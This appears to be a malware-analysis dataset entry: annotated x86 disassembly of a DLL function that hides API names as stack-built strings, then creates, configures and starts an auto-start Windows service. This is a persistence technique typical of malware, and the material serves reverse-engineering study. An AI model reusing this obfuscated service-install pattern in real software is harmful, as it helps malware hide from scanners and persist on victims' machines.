Function at 0x10002000
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Modify service

Disassembly:
sub esp, 0x458
mov eax, dword [0x100695e8]
xor eax, esp
mov dword [esp + 0x454], eax
mov eax, dword [esp + 0x464]
push esi
mov esi, dword [esp + 0x46c]
mov dword [0x1006af90], eax
mov eax, dword [esp + 0x464]
push 0x3ff
mov dword [0x1006af94], eax
lea eax, [esp + 0x5d]
push 0
push eax
mov dword [0x1006af8c], esi
mov byte [esp + 0x64], 0
call fcn.100275b0
add esp, 0xc
test esi, esi
je 0x1000207c
mov esi, dword [esi]
test esi, esi
je 0x1000207c
lea eax, [esi + 4]
push eax
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [0x1006af8c]
mov ecx, dword [esi]
push esi
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x100021b7
mov eax, dword [0x10069550]
mov ecx, 0x10069550
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 8], eax
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x2c], 0x76726573
mov dword [esp + 0x30], 0x656369
mov dword [esp + 0x28], 0x2d207325
call fcn.1000c0d0
add esp, 0xc
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
push eax
lea ecx, [esp + 8]
call fcn.1000b510
mov eax, dword [esp + 4]
cmp dword [eax - 4], 1
jle 0x10002101
push dword [eax - 0xc]
lea ecx, [esp + 8]
call fcn.1000def0
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionA]
mov eax, dword [esp + 4]
push dword [eax - 8]
push eax
call fcn.1002569f
add esp, 8
test eax, eax
js 0x1000232e
mov ecx, dword [esp + 4]
cmp eax, dword [ecx - 8]
jg 0x1000232e
mov dword [ecx - 0xc], eax
mov ecx, dword [esp + 4]
mov byte [eax + ecx], 0
mov eax, dword [esp + 4]
add eax, 0xfffffff0
push eax
call fcn.1000de10
add esp, 4
lea esi, [eax + 0x10]
push 2
push 0
push 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [esp + 0xc], eax
test eax, eax
jne 0x100021cd
lea edx, [esi - 0x10]
or esi, 0xffffffff
lea ecx, [edx + 0xc]
mov eax, esi
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x1000217f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 4]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x1000219c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 8]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], esi
dec esi
test esi, esi
jg 0x100021b7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
pop esi
mov ecx, dword [esp + 0x454]
xor ecx, esp
call fcn.10026aaf
add esp, 0x458
ret
push ebx
lea eax, [esp + 0x2c]
push eax
mov dword [esp + 0x33], 0x33697061
mov dword [esp + 0x37], 0x6c642e32
mov word [esp + 0x30], 0x6441
mov word [esp + 0x3b], 0x6c
mov byte [esp + 0x32], 0x76
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
test ebx, ebx
je 0x10002328
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [esp + 0x50]
push eax
push ebx
mov dword [esp + 0x58], 0x61657243
mov dword [esp + 0x62], 0x41656369
mov word [esp + 0x5d], 0x5365
mov word [esp + 0x60], 0x7672
mov byte [esp + 0x5c], 0x74
mov byte [esp + 0x5f], 0x65
mov byte [esp + 0x66], 0
call edi
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x40]
push eax
push ebx
mov dword [esp + 0x48], 0x72617453
mov dword [esp + 0x4d], 0x76726553
mov word [esp + 0x54], 0x41
mov word [esp + 0x51], 0x6369
mov byte [esp + 0x53], 0x65
mov byte [esp + 0x4c], 0x74
call edi
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x100022ee
push 0
push 0
push 0
push 0
push 0
push dword [esp + 0x24]
push 1
push 2
push 0x10
push 0xf01ff
push esi
push dword [esp + 0x38]
push ebx
call eax
mov edi, eax
test edi, edi
je 0x100022ee
cmp dword [esi - 4], 1
jle 0x100022c3
push dword [esi - 0xc]
lea ecx, [esp + 0x1c]
call fcn.1000def0
mov esi, dword [esp + 0x18]
lea eax, [esp + 0x1c]
push eax
push 1
push edi
mov dword [esp + 0x28], esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push 0
push 0
push edi
call dword [esp + 0x2c]
push edi
call fcn.10019a40
add esp, 4
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea ecx, [esp + 0x14]
call fcn.1000e030
lea ecx, [esp + 8]
call fcn.1000e030
lea ecx, [esp + 0xc]
call fcn.1000e030
mov ecx, dword [esp + 0x45c]
pop ebx
pop esi
xor ecx, esp
call fcn.10026aaf
add esp, 0x458
ret
mov ebx, dword [esp + 0x10]
jmp 0x100022ef
push 0x80070057
call fcn.1000e050
int3